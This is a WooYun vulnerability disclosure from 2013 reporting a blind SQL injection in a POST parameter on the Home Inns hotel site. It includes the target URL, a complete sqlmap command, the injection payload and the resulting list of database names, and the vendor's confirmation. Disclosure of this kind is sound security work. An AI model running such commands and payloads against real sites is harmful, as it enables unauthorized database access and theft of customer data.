当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-043368

漏洞标题:如家主站POST注入漏洞一枚

相关厂商:如家酒店集团

漏洞作者: 摸了你

提交时间:2013-11-19 19:29

修复时间:2014-01-03 19:29

公开时间:2014-01-03 19:29

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-19: 细节已通知厂商并且等待厂商处理中
2013-11-19: 厂商已经确认,细节仅向厂商公开
2013-11-29: 细节向核心白帽子及相关领域专家公开
2013-12-09: 细节向普通白帽子公开
2013-12-19: 细节向实习白帽子公开
2014-01-03: 细节向公众公开

简要描述:

Mysql Blind Injection注入(POST)

详细说明:

1、注入地址
http://www.homeinns.com/queryProduct.html
注入参数 beginScore
beginScore=1&class_id=&endScore=&pn=1
2、sqlmap跑

sqlmap.py -u "http://www.homeinns.com/queryProduct.html" --data "beginScore=1&class_id=&endScore=&pn=1" --dbs


结果

sqlmap identified the following injection points with a total of 75 HTTP(s) requests:
---
Place: POST
Parameter: beginScore
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: beginScore=if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ AND 4495=4495&class_id=&endScore=&pn=1
---
web application technology: Nginx, JSP
back-end DBMS: MySQL >= 5.0.0
available databases [9]:
[*] homeinns
[*] homeinns_1
[*] homeinns_test
[*] information_schema
[*] motai168homedonatescore
[*] motel168
[*] mysql
[*] test
[*] weichat


漏洞证明:

result:
跑出来的数据库
[*] homeinns
[*] homeinns_1
[*] homeinns_test
[*] information_schema
[*] motai168homedonatescore
[*] motel168
[*] mysql
[*] test
[*] weichat
跑出来的表

1.jpg

修复方案:

过滤参数~~

版权声明:转载请注明来源 摸了你@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2013-11-19 22:47

厂商回复:

感谢关注!

最新状态:

暂无


漏洞评价:

评论